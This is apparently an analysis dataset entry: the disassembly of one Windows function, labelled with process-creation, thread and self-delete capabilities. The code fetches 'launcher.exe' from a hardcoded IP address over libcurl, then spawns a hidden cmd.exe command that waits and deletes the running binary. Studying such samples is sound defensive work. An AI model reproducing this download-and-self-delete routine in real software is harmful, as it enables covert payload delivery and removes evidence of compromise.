Function at 0x140034130
Capabilities:
Create process on windows
Create thread
Self delete

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x670]
sub rsp, 0x770
xor edi, edi
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rbp + 0x6b8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
mov dword [rbp + 0x6bc], edi
lea rdx, [rbp + 0x6b8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov ecx, 0x20
call fcn.140037da4
mov r15, rax
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x50], 0x1c
mov qword [rbp - 0x48], 0x1f
movups xmm0, xmmword [str.http:__195.201.104.244:5001_]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140046818]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x140046820]
mov dword [r15 + 0x18], eax
mov byte [r15 + 0x1c], dil
lea rcx, [rbp - 0x40]
call fcn.140033f10
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r13, qword [rbp - 0x30]
sub rax, r13
cmp rax, 0xd
jb 0x1400349f3
lea r12, [rbp - 0x40]
mov r14, qword [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova r12, r14
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
lea rsi, [r13 + 0xd]
mov ebx, 0xf
lea rdi, [rbp - 0x80]
cmp rsi, rbx
jbe 0x1400342a5
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140034268
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140037da4
test rax, rax
je 0x14003495d
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400342a1
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140034281
xor edi, edi
jmp 0x1400342a1
cmp rcx, 0x1000
jb 0x140034299
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400349f9
jmp 0x140034249
call fcn.140037da4
mov rdi, rax
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rbx
mov r8, r13
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.launcher.exe]
movsd qword [rdi + r13], xmm0
mov eax, dword [0x140046830]
mov dword [rdi + r13 + 8], eax
movzx eax, byte [0x140046834]
mov byte [rdi + r13 + 0xc], al
mov byte [rdi + rsi], 0
mov byte [rbp + 0x6b0], 1
mov ecx, 8
call fcn.140037da4
lea rcx, [rbp + 0x6b0]
mov qword [rax], rcx
mov qword [rbp + 0x6b8], rax
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140036150]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x1400349e2
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rsi, rax
test rax, rax
je 0x1400346eb
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0x50]
call fcn.140035cd0
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x50], r13
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4c], edx
mov qword [rsp + 0x58], r12
mov ecx, 0x30
call fcn.140037da4
mov rdx, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0x27
mov qword [rsp + 0x68], 0x2f
movups xmm0, xmmword [r15]
movups xmmword [rax], xmm0
movsd xmm1, qword [r15 + 0x10]
movsd qword [rax + 0x10], xmm1
mov ecx, dword [r15 + 0x18]
mov dword [rax + 0x18], ecx
movsd xmm0, qword [str.getlauncher]
movsd qword [rax + 0x1c], xmm0
movzx eax, word [0x140046840]
mov word [rdx + 0x24], ax
movzx eax, byte [0x140046842]
mov byte [rdx + 0x26], al
mov byte [rdx + 0x27], r12b
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova r8, qword [rsp + 0x50]
mov edx, 0x2712
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140034450
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003444b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003444b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400380f8
lea r8, [0x140033ee0]
mov edx, 0x4e2b
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [rbp + 0x50]
mov edx, 0x2711
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov ebx, eax
lea rcx, [rbp + 0x58]
call fcn.140035c10
test rax, rax
jne 0x1400344ad
mov rcx, qword [rbp + 0x50]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0x50]
add rcx, rdx
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
test ebx, ebx
je 0x140034606
mov ecx, 0x20
call fcn.140037da4
mov rdi, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0x1f
mov qword [rsp + 0x68], 0x1f
movups xmm0, xmmword [str.Failed_to_download_launcher.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140046858]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x140046860]
mov dword [rdi + 0x18], eax
movzx eax, word [0x140046864]
mov word [rdi + 0x1c], ax
movzx eax, byte [0x140046866]
mov byte [rdi + 0x1e], al
mov byte [rdi + 0x1f], 0
lea rbx, [0x140086910]
mov qword [rbp + 0x6b8], rbx
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x140034541
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov eax, dword [0x14008695c]
cmp eax, 0x7fffffff
jne 0x140034562
dec eax
mov dword [0x14008695c], eax
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov r8d, 0x1f
mov rdx, rdi
call fcn.14002def0
nop
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400345b8
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400345b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400346e4
call fcn.1400380f8
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
nop
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x50], r13
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4c], edx
lea rcx, [rbp + 0x58]
call fcn.1400359e0
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xf8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x1400347d3
mov ecx, 0x30
call fcn.140037da4
mov rdi, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0x20
mov qword [rsp + 0x68], 0x2f
movups xmm0, xmmword [str.Launcher_downloaded_successfully]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140046878]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0
lea rbx, [0x140086910]
mov qword [rbp + 0x6b8], rbx
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x14003466a
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov eax, dword [0x14008695c]
cmp eax, 0x7fffffff
jne 0x14003468b
dec eax
mov dword [0x14008695c], eax
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov r8d, 0x20
mov rdx, rdi
call fcn.14002def0
nop
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400345b8
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400345b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400345b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov ecx, 0x20
call fcn.140037da4
mov rdi, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0x18
mov qword [rsp + 0x68], 0x1f
movups xmm0, xmmword [str.Error_initializing_CURL.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400468a0]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], 0
lea rbx, [0x140086910]
mov qword [rbp + 0x6b8], rbx
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x140034759
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov eax, dword [0x14008695c]
cmp eax, 0x7fffffff
jne 0x14003477a
dec eax
mov dword [0x14008695c], eax
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov r8d, 0x18
mov rdx, rdi
call fcn.14002def0
nop
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400347d3
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400347ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400347ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400380f8
mov byte [rbp + 0x6b0], 0
cmp dword [rsp + 0x78], 0
jne 0x1400347ed
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rsp + 0x78], eax
jne 0x140034805
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x50], xmm0
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
je 0x14003482d
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rbp + 0x6b8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
mov dword [rbp + 0x6bc], 1
lea rdx, [rbp + 0x6b8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
mov r8d, 0x104
lea rdx, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, [rbp + 0x50]
lea r8, str.cmd.exe__C_timeout__t_3___Nul__Del__f__q___s_
mov edx, 0x208
lea rcx, [rbp + 0x260]
call fcn.140033e10
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x260]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp dword [rsp + 0x78], 0
je 0x14003492b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140034969
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034964
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034964
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400380f8
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rax, qword [rbp - 0x28]
cmp rax, 0xf
jbe 0x1400349b8
lea rdx, [rax + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400349af
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400349af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1400380f8
nop
mov edx, 0x20
mov rcx, r15
call fcn.1400380f8
xor eax, eax
mov rbx, qword [rsp + 0x7c0]
add rsp, 0x770
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov dword [rsp + 0x78], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.14002ae20
int3
call fcn.140001eb0
int3